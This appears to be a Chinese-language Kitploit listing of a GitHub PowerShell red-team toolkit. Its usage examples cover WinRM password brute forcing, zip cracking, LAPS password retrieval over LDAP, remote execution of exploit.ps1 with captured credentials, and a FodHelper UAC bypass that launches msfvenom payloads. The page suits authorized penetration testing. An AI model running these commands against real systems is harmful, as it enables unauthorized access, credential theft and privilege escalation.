Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PowerShell-Red-Team — 红队成员在行动中可能使用的PowerShell函数集合 | Kitploit
工具/GitHubGitHub/tobor88/powershell-red-team
权限提升密码攻击横向移动信息收集渗透测试红队
GitHubtobor88/powershell-red-team

PowerShell-Red-Team

红队成员在行动中可能使用的PowerShell函数集合

查看仓库
55192602年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PowerShell 红队侦查工具集

红队成员可用来从机器收集数据或获取目标访问权限的 PowerShell 函数集合。我已为 RedTeamEnum 模块中包含的命令添加了独立的 ps1 文件。这使您可以轻松查找并使用单一命令(如果您只需要一个)。如果您需要整个模块,请在下载 RedTeamEnum 目录及其内容到您的设备后执行以下操作。

C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# 这会将模块复制到便于导入的位置。如果您使用 OneDrive 同步,可能需要改用 $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum。

C:\PS> Import-Module -Name RedTeamEnum -Verbose
# 这会导入模块中的所有命令。

C:\PS> Get-Command -Module RedTeamEnum
# 这会列出模块中的所有命令。
  • Convert-Base64.ps1 是一个函数,顾名思义,用于将文本编码/解码为 Base64 格式。
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode

C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
  • Convert-StringToHash.ps1 是一个将字符串值转换为哈希值的函数。
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# 以上两个示例都将字符串 Password123 转换为 MD5 哈希值
  • Convert-SID.ps1 是一个将 SID 值转换为用户名,以及将用户名转换为 SID 值的函数。
C:\PS> Convert-SID -Username tobor
# 以上示例将 tobor 转换为其 SID 值

C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# 以上示例将 SID 值转换为其关联的用户名
  • Test-BruteZipPassword 是一个函数,使用密码文件通过 7zip 对受密码保护的 zip 文件进行暴力破解。
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# 此示例使用 pass.txt 文件中的密码破解受密码保护的 KiTTY.7z 文件
  • Test-BruteForceCredentials 是一个函数,使用 WinRM 对用户密码进行暴力破解。
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# 此示例将测试定义的单个密码对远程计算机 DC01.domain.com 上的 admin 和 administrator 两个用户,使用基于 HTTPS 的 WinRM,每次尝试间隔 5 分钟

C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# 此示例将针对 users.txt 文件中的每个用户名测试 rockyou.txt 中的每个密码,尝试之间不暂停
  • Get-LdapInfo 是一个我引以为豪的函数,用于执行常规 LDAP 查询。虽然输出中只显示两个属性,但通过管道传递给 Select-Object -Property * 或使用 -Detailed 开关参数,可以查看对象的所有属性。
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# 以上命令返回 domain.com 中返回对象的所有属性
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# 如果以管理员身份运行,将返回本地管理员帐户的 LAPS 密码
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# 注意:如果包含 "-Detailed" 开关并将输出通过管道传递给 where-object,则不会返回任何属性。如果要显示结果的所有属性,需使用以下格式
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *

  • Get-NetworkShareInfo 是一个 cmdlet,用于检索和/或暴力发现远程或本地机器上可用的网络共享。
C:\PS> Get-NetworkShareInfo -ShareName C$
# 以上示例返回本地机器上共享 C$ 的信息
#结果
Name         : C$
InstallDate  :
Description  : Default share
Path         : C:\
ComputerName : TOBORDESKTOP
Status       : OK

C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# 以上示例发现并返回远程设备 DC01、DC02 和 10.10.10.1 上 NETLOGON、SYSVOL 和 C$ 的信息
  • Test-PrivEsc 是一个函数,可用于发现 WSUS 更新是否通过 HTTP 易受权限提升攻击、明文凭据是否存储在常见位置、AlwaysInstallElevated 是否易受权限提升攻击、是否存在未引用的服务路径,以及枚举服务可能存在的弱写入权限。
 C:\PS> Test-PrivEsc
  • Get-InitialEnum 是一个函数,用于枚举 Windows 操作系统的基本信息,以帮助更好地展示可能的弱点。
 C:\PS> Get-InitialEnum
  • Start-SimpleHTTPServer 是一个用于托管 HTTP 服务器以下载文件的函数。其设计类似于 Python 的 SimpleHTTPServer 模块。目录不能通过 Web 服务器遍历。托管下载的文件将来自您执行此命令时所处的当前目录。
C:\PS> Start-SimpleHTTPServer
在端口 8000 上打开 HTTP 服务器

#或
C:\PS> Start-SimpleHTTPServer -Port 80
# 在端口 80 上打开 HTTP 服务器
  • Invoke-PortScan.ps1 是一个用于扫描目标所有可能 TCP 端口的函数。我将在以后通过包括 UDP 以及定义端口范围的能力来改进它。坦率地说,这个函数速度非常慢,不值得使用。多线程是我的弱项,我计划在此函数上加以改进。
 C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
  • Invoke-PingSweep 是一个用于对子网范围执行 Ping 扫描的函数。
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# 注意:只有当 IP 源路由值为 "Yes" 时,Source 参数才有效

C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# Count 的默认值为 1

C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
  • Invoke-UseCreds 是我创建的一个函数,用于简化在渗透测试过程中使用获取的凭据的过程。我使用 -Passwd 而不是 -Password,因为如果将该参数定义为安全字符串,当在此函数中向该字段输入值时情况并非如此。设置该值后会被转换为安全字符串。
# 以下命令将使用输入的凭据以 tobor 用户的身份打开 msf.exe 可执行文件
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose

此 cmdlet 还可用于执行位于本地机器上的文件,并在远程机器上执行它们。

# 以下命令将使用输入的凭据以 tobor 用户的身份在 DC01 和 DC02 上通过 WinRM 打开 exploit.ps1 可执行文件
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"

# 以下命令将使用输入的凭据以 tobor 用户的身份在 DC01 和 DC02 上通过基于 HTTPS 的 WinRM 打开 exploit.ps1 可执行文件
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
  • Invoke-FodHelperBypass 是一个函数,在利用 UAC 绕过提升权限之前,测试该绕过是否有效。当然,这需要由本地管理员组的成员运行,因为此绕过会提升当前 shell 的权限。您可以定义要运行的程序,从而允许您执行生成的 msfvenom 有效载荷以及 cmd 或 PowerShell,或仅执行命令。
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# 或
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
下载工具